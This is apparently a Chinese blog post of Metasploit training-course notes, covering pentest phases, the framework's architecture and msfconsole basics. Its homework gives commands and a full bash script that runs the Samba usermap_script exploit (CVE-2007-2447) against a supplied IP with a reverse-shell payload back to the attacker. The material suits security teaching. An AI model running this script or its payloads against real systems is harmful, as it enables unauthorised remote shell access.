【Metasploit渗透测试魔鬼训练营】初识Metasploit

基础知识

渗透测试

  • 前期交互,确认范围
  • 情报收集:被动搜索、主动扫描
  • 威胁建模与攻击规划
  • 漏洞分析:安全漏洞探测与挖掘
  • 渗透攻击
  • 后渗透
  • 报告

Metasploit 功能

  • 情报搜集:内建和插件机制
  • 威胁建模:数据库操作
  • 漏洞分析:除直接扫描、还有就是Fuzz可用于挖掘0day
  • 后渗透:Meterpreter s ------ 支持多操作系统,驻留内存并支持免杀、并支持权限提升、信息获取、系统监控等
  • 报告生成

Metasploit 实现了 手工作坊 ------> 工厂化 生产模式

Metasploit 架构

  • 基础库文件
  • 模块
    • 渗透攻击模块
    • 攻击载荷模块
    • 空指针模块
    • 编码器模块
    • 后渗透模块
  • 插件
  • 接口
  • 功能程序

下载

https://docs.metasploit.com/

下载好后,在终端中使用下面的命令打开:

bash 复制代码
/opt/metasploit-framework/bin/msfconsole

看到下面的 MSF 终端就说明安装成功了

MSF 终端使用简介

  • help 查看功能
  • 查找 samba 攻击模块
bash 复制代码
search samba
  • 选择攻击模块
bash 复制代码
use /multi/samba/usermap_script
  • 查看载荷
bash 复制代码
show payloads
  • 执行载荷
bash 复制代码
set payload cmd/unix/bind_netcat
  • 查看需要配置的参数(这里只需要配置目标主机地址)
bash 复制代码
set RHOST 127.0.0.1

msfcli 命令行程序

支持在一条命令中执行多条操作

bash 复制代码
msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/ bind_netcat RHOST=127.0.0.1 E

作业

  1. 搜索 usermap_script 安全漏洞信息
    https://nvd.nist.gov/vuln/detail/cve-2007-2447
  • 允许远程攻击者通过涉及以下函数的 shell 元字符执行任意命令:(1)当"username map script"选项被启用时,使用 smb.conf 选项中的 SamlChangePassword 函数;(2)在远程打印机和文件共享管理场景中,允许远程认证的用户通过涉及其他 MS-RPC 函数的 shell 元字符执行命令。
  1. 统计一下 MSF 中针对 Windows 2008 的攻击模块数量
bash 复制代码
search "Windows Server 2008" type:exploit platform:windows
  1. 获取一下 Linux 靶机的远程控制桌面

  2. 写一个 shell 程序,实现只需要输入 IP 地址,即可实现 usermap_script 的利用

bash 复制代码
vim usermap_exploit.sh
bash 复制代码
#!/usr/bin/env bash
set -euo pipefail

# 用法:./usermap_exploit.sh <靶机IP> [攻击机IP] [监听端口]
TARGET_IP="${1:?请提供靶机IP,例如 ./usermap_exploit.sh 192.168.56.101}"
ATTACK_IP="${2:-}"
LISTEN_PORT="${3:-4444}"

if [ -z "$ATTACK_IP" ]; then
    # 自动取本机默认路由对应的 IP
    ATTACK_IP="$(ip route get 1.1.1.1 2>/dev/null | awk '{for(i=1;i<=NF;i++) if($i=="src") print $(i+1)}')"
fi

if [ -z "$ATTACK_IP" ]; then
    echo "无法自动获取攻击机IP,请手动传入第二个参数。"
    exit 1
fi

echo "靶机IP:   $TARGET_IP"
echo "攻击机IP: $ATTACK_IP"
echo "监听端口: $LISTEN_PORT"

msfconsole -q -x "
use exploit/multi/samba/usermap_script;
set payload cmd/unix/reverse;
set RHOSTS $TARGET_IP;
set RPORT 445;
set LHOST $ATTACK_IP;
set LPORT $LISTEN_PORT;
exploit;
"
bash 复制代码
chmod +x usermap_exploit.sh
./usermap_exploit.sh 192.168.56.101
相关推荐
孙克旭_2 小时前
信息收集-域名和端口信息
网络安全
QZ1665609515913 小时前
金融数据流转监测排行:从看见到拦截的距离
网络·安全·网络安全·金融
看着博客敲代码14 小时前
WorkBuddy 接上 Kali MCP 做自动化渗透:信息收集到初步验证的落地记录
linux·人工智能·安全·网络安全·自动化
学逆向的16 小时前
C 突破编译器限制
c语言·开发语言·网络安全
看着博客敲代码19 小时前
Nmap NSE 资产指纹识别:从脚本输出到资产清单
安全·网络安全·自动化
m0_7156744320 小时前
金融数据流转监测排行:从看见到拦截的距离
大数据·网络·安全·网络安全·金融
学逆向的20 小时前
C 控制台指令
c语言·开发语言·网络安全
Fnetlink121 小时前
Fnet 云网安 261012
安全·web安全·网络安全
m0_547486661 天前
《网络与信息安全》全套PPT课件2026
网络·网络安全